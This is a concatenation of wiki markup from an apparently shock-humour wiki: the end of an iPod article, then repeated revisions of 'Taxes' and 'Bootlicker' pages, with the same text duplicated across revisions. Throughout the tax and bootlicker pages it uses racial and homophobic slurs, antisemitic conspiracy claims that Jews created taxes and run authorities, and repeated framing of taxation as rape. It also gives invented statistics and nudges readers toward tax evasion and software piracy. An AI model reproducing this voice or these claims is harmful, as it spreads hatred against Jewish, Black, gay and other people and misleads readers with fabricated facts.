Thanks to [[NBC]] and [[Chris Hansen]], the age-old mystery of what happens if someone leaves a boxed and unsecured iPod in public has been answered. Armed with ten thousand dollars worth of iPods, they set off across the [[United States]] in their Pedo's Winnebago [[It was a social experiment|to conduct their own experiment]].
This consisted of:
*(1) Leaving an iPod in public.
*(2) Recording the "theft".
*(3) Tracking down the iPods.
*(4) [[????|????]]
*(5) [[Profit|PROFIT]]!!!

Since [[Apple]] was unwilling to assist Dateline's staff with their iEntrapment and general assbaggery, [[NBC]] payed a [[spam|spam haas]], $40,000 (Real Jew Gold), to bundle some spyware with the included copy of iTunes; the experiment only caught thieves that happened to use the included version of iTunes and to supply their actual physical address.

Results: People do not have any reservations about taking iPods left in public because they are a commodity; iPods are ingots of hipster gold.

==Gallery==
Gallery of iPod-ad-based images:

{{cg|iDontGiveaShit|Ipodgallery|center|<gallery perrow="5">
Image:IPod sex.gif
Image:ICameAd.jpg|iCame
Image:Icameguy.jpg|iCame
Image:IThong.jpg
Image:ICombine.jpg|i[[Half-Life 2|Combine]]
</gallery>|<gallery perrow="5">
Image:Isuck.jpg|Typical aspie using his iPod, [[poser|trying to look cool]].
Image:IDesu.jpg|i[[desu|Fail]]
Image:IDislike iPod.jpg|iDislike iPod
Image:IGrenade.jpg
Image:IDon't Care.jpg|iDon't Care
Image:IBoobs.gif
Image:IDunno Lol.jpg|iDunno Lol
Image:IGive Up.png|iGive Up
Image:IHouse.jpg|i[[House]]
Image:IKip.png|i[[Mudkip|Kip]]
Image:INO U.gif|[[NO U|I KNOW YOU]]
Image:IObject.jpg|i[[Phoenix Wright|Object]]
Image:IPod Strangle.png|iStrangle
Image:IQuit.jpg|iQuit
Image:IRaq.png|[[Iraq|iRaq]]
Image:ISlay.jpg|iSlay
Image:Ipodvideocamera.png|[[Pedobear]] reacts to Sep 2009 announcement
Image:IZombie.jpg
Image:ICant See.jpg|iCan't See
Image:IPr0n.jpg|iPr0n
Image:IGir.jpg|[[Invader Zim|iGir]]
Image:IPod_Fattie.gif
File:Shoot iPod.jpg
</gallery>}}

==External Links==
* [http://www.youtube.com/user/ijustine This bitch loves iPods.]
* [http://www.apple.com/ipod iPod]
* <s>[http://www.ipodlinux.org/Main_Page For the sweet love of Jesus, somebody troll this Wiki.]</s> DEAD
* [http://community.livejournal.com/vast_ipod_orgy iPod sexxxing]
* <s>[http://findmyipod.com/ Lost your iPod?]</s> DEAD
* [http://www.ohmibod.com/ What do to with your brand new iPod.]

== See Also ==
*[[Mitchell Henderson]]
*[[Golden iPod]]
*[[An Hero]]
*[[Apple]]
*[[Steve Jobs]]
*[[Sky Bilchuk]]
*[[iChan]]
*[[iprophet]]
*[[Zune]]

{{Music|title=iPod}}
{{apple|title=iPod}}

[[Category:Cliques]]

Taxes

2026-07-27T14:24:55Z

SmidgeX2:

{{Spoiler|[[BAWWW|TACKSEZ ARE TEH GUVERMINTS STEALING FROM YOU!!!]]}}

[[Image:Tax14.jpg|thumb|175px|Preparing for the Rape to come.]]

'''Taxes''' are a ransom thrown at you, created and designed by the Jews to support [[Dan Bailey|infrastructure projects]], [[Government|government agencies]], and [[Nigra|negros]]. Taxes penalize those who work by taking their stuff and giving it to people who don’t work. Taxes, along with [[Death]] are the only two certainties in life, unless you are [[gay]] which means that the third certainty of life is [[AIDS]] and is a precursor to [[Death]].

== Definition ==

'''Taxes'''

* Pronunciation:

('''tæk sez''')

* As a noun:
# Removal of charity by gunpoint.
# Where the government takes your money to perform a duty you should have done anyways. Once the government has the money, the duty is not performed, or performed unsatisfactorily.

Use '''''taxes''''' in a Sentence:

{{colortext|blue|Whenever I see lazy Puerto Ricans I think of how my '''''taxes''''' paid for their health care and welfare.}}

* As a verb:
# To drain.

Use '''''taxes''''' in a Sentence:

{{colortext|blue|Just thinking about the 1040 forum '''''taxes''''' my constitution.}}

== History ==

[[Image:Rape12.jpg|thumb|175px|Romans were known to be excellent tax collectors]]
[[Image:Tax6.jpg|thumb|175px|It must be April 15th]]

{{quote| In this world nothing is certain but [[death]] and taxes|that dude on that 100 dollar thing}}

'''To Tax''' comes from the [[Latin]] root word '''''“tangere”''''' which means to [[Buttsecks|anally rape]] with a chainsaw. Nobody is quite sure who started this form of [[Theft|theft,]] but many scholars believe that taxes were initially invented by the [[Egypt|Egyptians]] around [[Last Thursday|3000 BC.]] It went something like this:

*''' Pharaoh needs new pyramid or monument built.'''

*''' Pharaoh sends out his [[Slavery|minions]] to collect money for monument.'''

*''' Pharaoh’s subjects give money to the minions. Those who refuse to pay are beaten and robbed anyways. Those without anything to give are either placed in [[Prison|prison]] or made into [[BDSM|slaves.]] Not all taxes, especially back then, were in the form of money, mostly it was in the form of grain, farm animals, or [[Fellatio|blow jobs.]]'''

*''' Pharaoh combines all of the [[Looting|loot]] into a big pile, takes his cut, then shares it out amongst his friends. Some of the [[Booty|booty]] is used to make the pyramid.'''

== Purpose ==

{{quote|When there's a single thief, it's robbery. When there are a thousand thieves, it's taxation.|Old, but wise saying}}

Taxation has four main purposes, these are [[Rape|Revenue,]] [[Rape|Redistribution,]] [[Rape|Repricing,]] and [[Rape|Representation.]] None of these purposes matter much considering the fact that all of it is [[Communism|redistributed]] to some non-working fuck who lays around on his couch watching television all day on your dime.

There are [[Suck ups|those,]] who have been [[brainwashed]] to the point where they find paying taxes as a [[HAHAHA, OH WOW|moral obligation to live in society]] implying that [[childbirth|everyone had the choice to live in society]]. (FUN FACT: America didn't always have direct taxation.) In fact, Americans have been so brainwashed to the point that if anyone questions the way of taxation, these [[Retard|tax-lovers]] will get so [[butthurt|pissed off]] that they'll scream and tell the questioner to leave and go to Somalia. (ANOTHER FUN FACT: [[Hypocrites|these people]] never left the US themselves.) Americans believe that [[Lies|tax-evaders are worse than terrorists.]] (YET ANOTHER FUN FACT: The Founding Fathers were tax-evaders.) Speaking against taxation in America is like calling [[Muhammad]] a pig-fucker in Mecca.

== Types of Taxation ==

[[Image:Tax2.jpg|thumb|175px|1040 form. America's favorite dildo when rolled up.]]
[[Image:Tax3.JPG|thumb|175px|1040EZ form. Its for those who are poor and want money back.]]

{{quote|Taxation with representation ain't so hot either.|Another wise old saying.}}

There are two main types of taxation. One is direct tax, which means you have to pay a set amount every year. The other type of taxation is indirect tax, which is when they rape you when you go to buy a [[Smoking|pack of cigarettes.]]

[[Rape|In fact, there really aren't two different types of tax and this whole page should just re-direct to rape anyways, because that is what taxes are. Rape.]]

== How Taxes Affect You ==
[[Image:penny.jpg|thumb|175px|couple hundred more of these and I can get a beavertail]]
[[Image:Stephenharper 5percent.jpeg|thumb|175px|HOLY SHIT!!!111!!! you are god!]]
[[Image:Tax17.jpg|thumb|175px|Welfare mothers, angry about tax cuts]]
[[Image:Tax4.jpg|thumb|175px|Americans spend 4 months of the year earning money to pay taxes...and 4 months of looking at this guy.]]

{{quote|The taxpayer - that's someone who works for the federal government but doesn't have to take the civil service examination.|Ronald Reagan - noted tax expert}}

They win, and win some more, meanwhile you lose, and lose some more. You lose hard earned money, you work your ass off calculating their [[faggotry]], they pay it on cameras to [[Sex|watch your every move]], they get money, and the money is used for them to [[wank]] to [[Whore|your private life]].

Since you are the [[Poor|low man on the taxation totem pole,]] you, and your peers, are the only ones who are effected by taxation. When a tax is levied against a [[Business|business,]] they just [[Inflation art|raise]] their pricing to defer the money that they are losing. If that does not work and the company is still not making money, they then go and lower the amount of money they pay out to their employees. Finally, if that still doesn’t work, the employer will lower the benefits that employees receive to further cut their tax cost.

[[Bum|Even if you do not work,]] this still effects you. Since you have to go out and buy products or services, now you have to deal with the employees of taxed companies. Since they are pretty much [[Anger|pissed off]] about their lack of wages and benefits, you get shitty service and higher prices.

If, you happen to be lucky enough to be [[Money#Riches|rich,]] you support [[Teenmommies|everybody.]], and your [[Tony_Blair|leader]] who claims to support the working class like a good left-winger can buy his third house.

== How Elected Officials Use Tax Money ==
[[Image:Tax19.jpg|thumb|175px|Average receipent of a tax refund]]
Contrary to popular belief, only 00.000000000000001% of the money that is stolen from you goes to benefit your country/state/city/region/etc. The rest of the 99.999999999999999% goes to shit like,

* '''[[Prostitute|Hookers]]'''
* '''[[Cocaine#Cocaine|Blow]]'''
* '''[[Hookers and blow|Hookers and Blow]]'''
*'''[[1984|Enforcement of Wrongthink]]'''
*'''[[Mind control]]
*'''[[Shit|Useless AI datacenters]]'''
* '''[[Las Vegas]]'''
* '''[[Hell|Mass Surveillance]]'''
*'''[[Pedophilia]]'''(Yes, there are taxpayer funded cameras that [[sick fucks]] use to watch kids)
*'''[[Cop|Pigs beating the shit out of people]]
*'''[[Lies|Propaganda]]'''
*'''[[Porn|Mercenary Spyware]]'''
* '''[[JEWS DID WTC|Private Jet''']]
* '''[[Cock|Pork.]]'''
* '''[[Bill Clinton|Employing their deadbeat brother]]'''
* '''[[Britain|Housing, feeding and educating every Third World wog and nigger.]]'''
* '''[[Japan|And of course, Nukes... shitloads of Nukes.]]'''

== Taxes in [[Canada]] ==

In the great land of [[Canada]], [[shit nobody cares about|the two types of taxes are the goods and services tax (gst) plus the provincial sales tax (pst), combined into the wonder all in one Harmonized sales tax( Hst).]] For years the rate for the gst was a standard 7% , but then cowboy harper stepped in and lowered it to 6% and then 5%. MOST people would be happy over this, however since the change, the rate for New Brunswick went from 15% to 13%, making use of millions of more pennies every year and pissing off people when they empty out their pockets. Thanks

== Ethical Basis for Taxes ==

[[Image:Tax1.gif|thumb|175px|Infrustructure!!!]]
[[Image:Tax8.jpg|thumb|175px|Page 1345 of the United States Tax Code - Explaining how to deal with delinquent taxpayers.]]

{{quote|Did you ever notice that when you put the words "The" and "IRS" together, it spells "THEIRS?"|Yet another wise old saying}}

The [[Jews|people]] who [[Evil|make up the tax laws]] and then carry them out make a case that taxes are ethical as [[bullshit|they are used for the public good]].

'''Examples of how some of the 2008 Tax Monies are being used:'''

*[[Bridge to Nowhere]], Alaska: 2 million dollars

*Big Dig Project, [[Massachusetts]]: 14.6 billion dollars to build a 3.5 mile tunnel

*7.5 million dollars spent on [[Alcohol|wine]] research

*5.5 million for people to visit farms in [[Ohio]]. Was termed “Innovative Food Technology”

*14 million dollars to research pasture land in [[Mormon|Utah]]

*4.6 million dollars to “increase the public image of [[Alcohol|beer”]] by the National Hops Institute

*1.7 million dollars given to the Ben Franklin Turkey fund…they still want to make the national bird the [[Turkey]] and get rid of the Bald Eagle.

== Tax Software ==

{{quote|I have been really sick. When turbo tax sent my 3rd rejection notice I just sat and cried, not only about the money I lost but I could not get any help from anyone.|Merl of Ainsworth NE}}

There are [[Almost raped|many ways to file taxes]] via the [[Internets|internet]] or by using various [[Warez|software.]] However, when the United States Secretary of the Treasury, [http://en.wikipedia.org/wiki/Timothy_F._Geithner#Tax_problems/ Tim Geitner,] cannot file his own taxes with TurboTax, and even ends up under investigation, you can see how [[:File:Helpful_cat.jpg|helpful]] these programs and websites actually are to the [[Fucktard|average taxpayer.]]

'''Here is a list of popular tax software websites that look like they were designed by the same people who make porn websites. On these links, you will be able to [[Pirate Bay|find tax software to do your taxes.]]''' <---or you could just click that link, hint hint.

*'''[http://turbotax.intuit.com/ TurboTax is probably the most popular, and most problematic.]'''
*'''[http://www.hrblock.com/ HR Block's website...where you are greeted with a happy, smiling face...as they rip you off.]'''
*'''[http://www.taxact.com/ TaxAct, where you can e-file for free...what they don't tell you is that it works only half the time.]'''
*'''[http://www.taxslayer.com/ TAX SLAYER ROCK ON!!!]'''
*'''[http://www.taxbrain.com/ TaxBrain - which is the most expensive of all of the e-filers, and it gets the second worse grade.]'''

While all of these programs do [[Redundant|just about the same thing,]] they are all prone to their own foibles. Sometimes the user is better off just not paying their taxes at all rather than to put up with the hoops they have to jump through.

'''Here are some negative testimonials:'''

{{squote|Turbo Tax has advertised $29.95 to file state, I filed both Fed and State, was returned twice with no reason, I submtted it a 3rd time, was approved, but than I charged additional $34.95 for re filing. I never changed anything the 4 times it was submitted.|Jaime commenting on TurboTax}}

{{squote|I paid $59.95 for the Deluxe verion with free efile. Sure, the efile was free but they charged me $29.95 to process my refund through Santa Barbara Bank!|Dorothy, commenting on TurboTax}}

{{squote|the worse part about turbo tax is that there is no way to get in contact with them. no number to call reach a person to to talk to or anything, to me that is messed up. i have to mail all of my paperwork to the IRS even though i had already paid turbo tax my fee for using their services.|Jeymi, another disgruntled user}}

{{squote|DO NOT USE TURBO TAX ONLINE! I am VERY disenchanted with this service. The free e-filing isn't free!! I feel as though I've been nickeled and dimed by this company.|Amanda, who filed online}}

{{squote|I spent $50 for a product that doesn't work.|David, who, despite being cool, doesn't use TAX SLAYER any more}}

== Taxes Around the Internet ==

There are several web [[Forum|messageboards]] dedicated to helping taxpayers and to giving out free information regarding tax laws. The main problem with this is that [[Idiot|anybody]] can jump online at the local library and ask the most idiotic questions imaginable. Here are some of those web messageboards:

*[http://www.thetaxbook.com/forums/forumdisplay.php?f=2/ Some Jews]
*[http://community.lawyers.com/messageboards/board.asp?channelId=19&mbId=43/ MOAR Jews]
*[http://messageboards.aol.com/aol/en_us/boards.php?boardId=538396&func=2&channel=Personal+Finance/ AOL's Tax Q&A board]

== Gallery of Stupid Questions ==

It is astounding what [[Liar|people think they can get away with.]] Also, it is quite amazing that grown adults still think of the government as [[Friend|"a friend."]]

<center>
<gallery>
Image:Tax30.jpg|Wake up honey
Image:Tax31.jpg|I AM USING [[ALL CAPS|CAPS LOCK]] BECAUSE MY SHIFT BUTTON IS BROKEN
Image:Tax32.jpg|Yes, in the wonderful and magical land of [[Minnesota]], you can deduct dance classes...
Image:Tax33.jpg|How do I shot taxes?
Image:Tax34.jpg|You can claim whatever you want, what the IRS choose to let you actually use is a different story.
Image:Tax35.jpg|Welcome to the IRS, is this your first time?
Image:Tax36.jpg|This guy is lucky there is no such thing as Debtor's Prison
Image:Tax37.jpg|Same with this guy
Image:Tax38.jpg|One hand is not watching what the other hand is doing
Image:Tax39.jpg|Fishing is taxable?!?!?!!?
Image:Tax40.jpg|Even amid the desparate battle, these two have managed to find love
Image:Bob-and-doug-mckenzie.jpg|They have taxes, too!
</gallery>
</center>

== How Taxes Help You ==
[[File:Tumbleweed.gif]]

== Video ==

<center>'''You don't have to pay taxes because they are voluntary and illegal!!!'''</center> 

<center><youtube>R7mRSI8yWwg</youtube><youtube>W5UcPeSb8kg</youtube></center> 

<center>'''Typical family preparing a tax return while some whore does taxes in her bikini'''</center> 

<center><youtube>jr2DO_DMUfM</youtube><youtube>xttlLihWsfg</youtube></center>

== Gallery of Raep ==

<center>
<gallery>
Image:Rape10.png|The Government is ever the opportunist.
Image:Rape11.jpg|Another lax taxpayer.
Image:Rape13.jpg|These girls are paying the only way they know how
Image:Tax15.jpg|Typical
Image:Tax16.jpg|Taxation at gunpoint
Image:Tax18.jpg|Taxes go to publicly funded schools...oh shi-
Image:Tax20.jpg|Wont you please think of the needy?
Image:Tax21.gif|IRS meeting
Image:Tax22.jpg|Seen on Tax assessor's desk
Image:Tax5.jpg|Typical IRS home visit
Image:Tax9.jpg|It must be April 16th
Image:Tax7.jpg|He didn't file on time
Image:tax form.jpg|Simplified Taxation Form
</gallery>
</center>

== See Also ==

*[[Rape|This is a given]]
*[[Buttsecks|This is also a given]]
*[[Rape Checklist|Want to work for the IRS? Here is a checklist!]]
*[[Goatse|April 15th EVERY year]]
*[[Libertarianism]]

== External Links ==

* [http://www.cagw.org/site/PageServer?pagename=reports_porkbarrelreport/ Taxpayer Watchdog]
* [http://www.irs.gov/ THE man]
* [http://www4.law.cornell.edu/uscode/26/ Tax Code - explains how and why rape occurs]

{{Money}}
{{Politics}}
{{timeline|Featured article October 3 & 4, [[2016]]|[[BeCandid]]|{{PAGENAME}}|[[Misha Silenosti]]}}

Bootlicker

2026-07-27T01:10:07Z

SmidgeX2:

{{Stub}}
A bootlicker is a fucking [[retard]] who willingly deepthroats the massive throbbing cock of the [[Jews|authorities]]. Bootlickers are bred through [[School|several years of indoctrination]], where people tell them to accept [[Big Brother|Big Brother's]] [[Lies|sacred cows]] that they serve for you and the community. What makes a bootlicker a bootlicker is their mind numbing ignorance.

== Things bootlickers usually support ==
*[[Taxes|Taxation]]
*[[Rape|Mass Surveillance]]
*[[Pedophilia|Age Verification]]
*[[Lies|The concept of a "Common Good"]]
*[[Rape|The Nanny State]]

== Spotting a bootlicker ==
there is a [[Swearing|fucking shitload]] of sources written by bootlickers, and comments posted by [[retard]]s. To spot this [[faggotry]], ask yourself these questions.
*Is this person in support of an authority pretending to help others? (Everyone in authority is a self serving [[faggot]])
*Is this person supporting the concept of [[HAHAHA DISREGARD THAT, I SUCK COCKS|social solidarity]]?
*Is this person [[Stupid|optimistic]]?

If yes, chances are they are a fucking bootlicker. No logical human with an [[Lobotomy|intact frontal lobe]] would apply to any of those categories, as all of the shit theyve ever heard is from [[Jews|demons]] who have made them a fucking retard. All of the [[Swearing|fucking shit]] I have listed above is [[shit]] that [[Rape|anally rapes]] you.

{{Jews}}

[[Category:Faggotry]]
[[Category:Jews]]

Bootlicker

2026-07-27T01:09:39Z

SmidgeX2: Created page with "{{Stub}} == Bootlicker == A bootlicker is a fucking retard who willingly deepthroats the massive throbbing cock of the authorities. Bootlickers are bred through several years of indoctrination, where people tell them to accept Big Brother's sacred cows that they serve for you and the community. What makes a bootlicker a bootlicker is their mind numbing ignorance. == Things bootlickers usually support == *[[Taxes|Taxation]..."

{{Stub}}
== Bootlicker ==
A bootlicker is a fucking [[retard]] who willingly deepthroats the massive throbbing cock of the [[Jews|authorities]]. Bootlickers are bred through [[School|several years of indoctrination]], where people tell them to accept [[Big Brother|Big Brother's]] [[Lies|sacred cows]] that they serve for you and the community. What makes a bootlicker a bootlicker is their mind numbing ignorance.

== Things bootlickers usually support ==
*[[Taxes|Taxation]]
*[[Rape|Mass Surveillance]]
*[[Pedophilia|Age Verification]]
*[[Lies|The concept of a "Common Good"]]
*[[Rape|The Nanny State]]

== Spotting a bootlicker ==
there is a [[Swearing|fucking shitload]] of sources written by bootlickers, and comments posted by [[retard]]s. To spot this [[faggotry]], ask yourself these questions.
*Is this person in support of an authority pretending to help others? (Everyone in authority is a self serving [[faggot]])
*Is this person supporting the concept of [[HAHAHA DISREGARD THAT, I SUCK COCKS|social solidarity]]?
*Is this person [[Stupid|optimistic]]?

If yes, chances are they are a fucking bootlicker. No logical human with an [[Lobotomy|intact frontal lobe]] would apply to any of those categories, as all of the shit theyve ever heard is from [[Jews|demons]] who have made them a fucking retard. All of the [[Swearing|fucking shit]] I have listed above is [[shit]] that [[Rape|anally rapes]] you.

{{Jews}}

[[Category:Faggotry]]
[[Category:Jews]]

Taxes

2026-07-27T01:09:24Z

SmidgeX2:

{{Spoiler|[[BAWWW|TACKSEZ ARE TEH GUVERMINTS STEALING FROM YOU!!!]]}}
{{withjews}}

[[Image:Tax14.jpg|thumb|175px|Preparing for the Rape to come.]]

'''Taxes''' are a ransom thrown at you, created and designed by the Jews to support [[Dan Bailey|infrastructure projects]], [[Government|government agencies]], and [[Nigra|negros]]. Taxes penalize those who work by taking their stuff and giving it to people who don’t work. Taxes, along with [[Death]] are the only two certainties in life, unless you are [[gay]] which means that the third certainty of life is [[AIDS]] and is a precursor to [[Death]].

== Definition ==

'''Taxes'''

* Pronunciation:

('''tæk sez''')

* As a noun:
# Removal of charity by gunpoint.
# Where the government takes your money to perform a duty you should have done anyways. Once the government has the money, the duty is not performed, or performed unsatisfactorily.

Use '''''taxes''''' in a Sentence:

{{colortext|blue|Whenever I see lazy Puerto Ricans I think of how my '''''taxes''''' paid for their health care and welfare.}}

* As a verb:
# To drain.

Use '''''taxes''''' in a Sentence:

{{colortext|blue|Just thinking about the 1040 forum '''''taxes''''' my constitution.}}

== History ==

[[Image:Rape12.jpg|thumb|175px|Romans were known to be excellent tax collectors]]
[[Image:Tax6.jpg|thumb|175px|It must be April 15th]]

{{quote| In this world nothing is certain but [[death]] and taxes|that dude on that 100 dollar thing}}

'''To Tax''' comes from the [[Latin]] root word '''''“tangere”''''' which means to [[Buttsecks|anally rape]] with a chainsaw. Nobody is quite sure who started this form of [[Theft|theft,]] but many scholars believe that taxes were initially invented by the [[Egypt|Egyptians]] around [[Last Thursday|3000 BC.]] It went something like this:

*''' Pharaoh needs new pyramid or monument built.'''

*''' Pharaoh sends out his [[Slavery|minions]] to collect money for monument.'''

*''' Pharaoh’s subjects give money to the minions. Those who refuse to pay are beaten and robbed anyways. Those without anything to give are either placed in [[Prison|prison]] or made into [[BDSM|slaves.]] Not all taxes, especially back then, were in the form of money, mostly it was in the form of grain, farm animals, or [[Fellatio|blow jobs.]]'''

*''' Pharaoh combines all of the [[Looting|loot]] into a big pile, takes his cut, then shares it out amongst his friends. Some of the [[Booty|booty]] is used to make the pyramid.'''

== Purpose ==

{{quote|When there's a single thief, it's robbery. When there are a thousand thieves, it's taxation.|Old, but wise saying}}

Taxation has four main purposes, these are [[Rape|Revenue,]] [[Rape|Redistribution,]] [[Rape|Repricing,]] and [[Rape|Representation.]] None of these purposes matter much considering the fact that all of it is [[Communism|redistributed]] to some non-working fuck who lays around on his couch watching television all day on your dime.

There are [[Suck ups|those,]] who have been [[brainwashed|convinced]] to the point where they find paying taxes as a moral obligation to live in society implying that [[childbirth|everyone had the choice to live in society]]. (FUN FACT: America didn't always have direct taxation.) In fact, Americans have been so brainwashed to the point that if anyone questions the way of taxation, these [[Retard|tax-lovers]] will get so [[butthurt|pissed off]] that they'll scream and tell the questioner to leave and go to Somalia. (ANOTHER FUN FACT: [[Hypocrites|these people]] never left the US themselves.) Americans believe that [[Lies|tax-evaders are worse than terrorists.]] (YET ANOTHER FUN FACT: The Founding Fathers were tax-evaders.) Speaking against taxation in America is like calling [[Muhammad]] a pig-fucker in Mecca.

== Types of Taxation ==

[[Image:Tax2.jpg|thumb|175px|1040 form. America's favorite dildo when rolled up.]]
[[Image:Tax3.JPG|thumb|175px|1040EZ form. Its for those who are poor and want money back.]]

{{quote|Taxation with representation ain't so hot either.|Another wise old saying.}}

There are two main types of taxation. One is direct tax, which means you have to pay a set amount every year. The other type of taxation is indirect tax, which is when they rape you when you go to buy a [[Smoking|pack of cigarettes.]]

[[Rape|In fact, there really aren't two different types of tax and this whole page should just re-direct to rape anyways, because that is what taxes are. Rape.]]

== How Taxes Affect You ==
[[Image:penny.jpg|thumb|175px|couple hundred more of these and I can get a beavertail]]
[[Image:Stephenharper 5percent.jpeg|thumb|175px|HOLY SHIT!!!111!!! you are god!]]
[[Image:Tax17.jpg|thumb|175px|Welfare mothers, angry about tax cuts]]
[[Image:Tax4.jpg|thumb|175px|Americans spend 4 months of the year earning money to pay taxes...and 4 months of looking at this guy.]]

{{quote|The taxpayer - that's someone who works for the federal government but doesn't have to take the civil service examination.|Ronald Reagan - noted tax expert}}

Since you are the [[Poor|low man on the taxation totem pole,]] you, and your peers, are the only ones who are effected by taxation. When a tax is levied against a [[Business|business,]] they just [[Inflation art|raise]] their pricing to defer the money that they are losing. If that does not work and the company is still not making money, they then go and lower the amount of money they pay out to their employees. Finally, if that still doesn’t work, the employer will lower the benefits that employees receive to further cut their tax cost.

[[Bum|Even if you do not work,]] this still effects you. Since you have to go out and buy products or services, now you have to deal with the employees of taxed companies. Since they are pretty much [[Anger|pissed off]] about their lack of wages and benefits, you get shitty service and higher prices.

If, you happen to be lucky enough to be [[Money#Riches|rich,]] you support [[Teenmommies|everybody.]], and your [[Tony_Blair|leader]] who claims to support the working class like a good left-winger can buy his third house.

== How Elected Officials Use Tax Money ==
[[Image:Tax19.jpg|thumb|175px|Average receipent of a tax refund]]
Contrary to popular belief, only 00.000000000000001% of the money that is stolen from you goes to benefit your country/state/city/region/etc. The rest of the 99.999999999999999% goes to shit like,

* '''[[Prostitute|Hookers]]'''
* '''[[Cocaine#Cocaine|Blow]]'''
* '''[[Hookers and blow|Hookers and Blow]]'''
*'''[[1984|Enforcement of Wrongthink]]'''
*'''[[Mind control]]
*'''[[Shit|Useless AI datacenters]]'''
* '''[[Las Vegas]]'''
* '''[[Hell|Mass Surveillance]]'''
*'''[[Pedophilia]]'''(Yes, there are taxpayer funded cameras that [[sick fucks]] use to watch kids)
*'''[[Cop|Pigs beating the shit out of people]]
*'''[[Lies|Propaganda]]'''
*'''[[Porn|Mercenary Spyware]]'''
* '''[[JEWS DID WTC|Private Jet''']]
* '''[[Cock|Pork.]]'''
* '''[[Bill Clinton|Employing their deadbeat brother]]'''
* '''[[Britain|Housing, feeding and educating every Third World wog and nigger.]]'''
* '''[[Japan|And of course, Nukes... shitloads of Nukes.]]'''

== Taxes in [[Canada]] ==

In the great land of [[Canada]], [[shit nobody cares about|the two types of taxes are the goods and services tax (gst) plus the provincial sales tax (pst), combined into the wonder all in one Harmonized sales tax( Hst).]] For years the rate for the gst was a standard 7% , but then cowboy harper stepped in and lowered it to 6% and then 5%. MOST people would be happy over this, however since the change, the rate for New Brunswick went from 15% to 13%, making use of millions of more pennies every year and pissing off people when they empty out their pockets. Thanks

== Ethical Basis for Taxes ==

[[Image:Tax1.gif|thumb|175px|Infrustructure!!!]]
[[Image:Tax8.jpg|thumb|175px|Page 1345 of the United States Tax Code - Explaining how to deal with delinquent taxpayers.]]

{{quote|Did you ever notice that when you put the words "The" and "IRS" together, it spells "THEIRS?"|Yet another wise old saying}}

The [[Jews|people]] who [[Evil|make up the tax laws]] and then carry them out make a case that taxes are ethical as [[bullshit|they are used for the public good]].

'''Examples of how some of the 2008 Tax Monies are being used:'''

*[[Bridge to Nowhere]], Alaska: 2 million dollars

*Big Dig Project, [[Massachusetts]]: 14.6 billion dollars to build a 3.5 mile tunnel

*7.5 million dollars spent on [[Alcohol|wine]] research

*5.5 million for people to visit farms in [[Ohio]]. Was termed “Innovative Food Technology”

*14 million dollars to research pasture land in [[Mormon|Utah]]

*4.6 million dollars to “increase the public image of [[Alcohol|beer”]] by the National Hops Institute

*1.7 million dollars given to the Ben Franklin Turkey fund…they still want to make the national bird the [[Turkey]] and get rid of the Bald Eagle.

== Tax Software ==

{{quote|I have been really sick. When turbo tax sent my 3rd rejection notice I just sat and cried, not only about the money I lost but I could not get any help from anyone.|Merl of Ainsworth NE}}

There are [[Almost raped|many ways to file taxes]] via the [[Internets|internet]] or by using various [[Warez|software.]] However, when the United States Secretary of the Treasury, [http://en.wikipedia.org/wiki/Timothy_F._Geithner#Tax_problems/ Tim Geitner,] cannot file his own taxes with TurboTax, and even ends up under investigation, you can see how [[:File:Helpful_cat.jpg|helpful]] these programs and websites actually are to the [[Fucktard|average taxpayer.]]

'''Here is a list of popular tax software websites that look like they were designed by the same people who make porn websites. On these links, you will be able to [[Pirate Bay|find tax software to do your taxes.]]''' <---or you could just click that link, hint hint.

*'''[http://turbotax.intuit.com/ TurboTax is probably the most popular, and most problematic.]'''
*'''[http://www.hrblock.com/ HR Block's website...where you are greeted with a happy, smiling face...as they rip you off.]'''
*'''[http://www.taxact.com/ TaxAct, where you can e-file for free...what they don't tell you is that it works only half the time.]'''
*'''[http://www.taxslayer.com/ TAX SLAYER ROCK ON!!!]'''
*'''[http://www.taxbrain.com/ TaxBrain - which is the most expensive of all of the e-filers, and it gets the second worse grade.]'''

While all of these programs do [[Redundant|just about the same thing,]] they are all prone to their own foibles. Sometimes the user is better off just not paying their taxes at all rather than to put up with the hoops they have to jump through.

'''Here are some negative testimonials:'''

{{squote|Turbo Tax has advertised $29.95 to file state, I filed both Fed and State, was returned twice with no reason, I submtted it a 3rd time, was approved, but than I charged additional $34.95 for re filing. I never changed anything the 4 times it was submitted.|Jaime commenting on TurboTax}}

{{squote|I paid $59.95 for the Deluxe verion with free efile. Sure, the efile was free but they charged me $29.95 to process my refund through Santa Barbara Bank!|Dorothy, commenting on TurboTax}}

{{squote|the worse part about turbo tax is that there is no way to get in contact with them. no number to call reach a person to to talk to or anything, to me that is messed up. i have to mail all of my paperwork to the IRS even though i had already paid turbo tax my fee for using their services.|Jeymi, another disgruntled user}}

{{squote|DO NOT USE TURBO TAX ONLINE! I am VERY disenchanted with this service. The free e-filing isn't free!! I feel as though I've been nickeled and dimed by this company.|Amanda, who filed online}}

{{squote|I spent $50 for a product that doesn't work.|David, who, despite being cool, doesn't use TAX SLAYER any more}}

== Taxes Around the Internet ==

There are several web [[Forum|messageboards]] dedicated to helping taxpayers and to giving out free information regarding tax laws. The main problem with this is that [[Idiot|anybody]] can jump online at the local library and ask the most idiotic questions imaginable. Here are some of those web messageboards:

*[http://www.thetaxbook.com/forums/forumdisplay.php?f=2/ Some Jews]
*[http://community.lawyers.com/messageboards/board.asp?channelId=19&mbId=43/ MOAR Jews]
*[http://messageboards.aol.com/aol/en_us/boards.php?boardId=538396&func=2&channel=Personal+Finance/ AOL's Tax Q&A board]

== Gallery of Stupid Questions ==

It is astounding what [[Liar|people think they can get away with.]] Also, it is quite amazing that grown adults still think of the government as [[Friend|"a friend."]]

<center>
<gallery>
Image:Tax30.jpg|Wake up honey
Image:Tax31.jpg|I AM USING [[ALL CAPS|CAPS LOCK]] BECAUSE MY SHIFT BUTTON IS BROKEN
Image:Tax32.jpg|Yes, in the wonderful and magical land of [[Minnesota]], you can deduct dance classes...
Image:Tax33.jpg|How do I shot taxes?
Image:Tax34.jpg|You can claim whatever you want, what the IRS choose to let you actually use is a different story.
Image:Tax35.jpg|Welcome to the IRS, is this your first time?
Image:Tax36.jpg|This guy is lucky there is no such thing as Debtor's Prison
Image:Tax37.jpg|Same with this guy
Image:Tax38.jpg|One hand is not watching what the other hand is doing
Image:Tax39.jpg|Fishing is taxable?!?!?!!?
Image:Tax40.jpg|Even amid the desparate battle, these two have managed to find love
Image:Bob-and-doug-mckenzie.jpg|They have taxes, too!
</gallery>
</center>

== How taxation helps you ==
[[File:Tumbleweed.gif]]

== Video ==

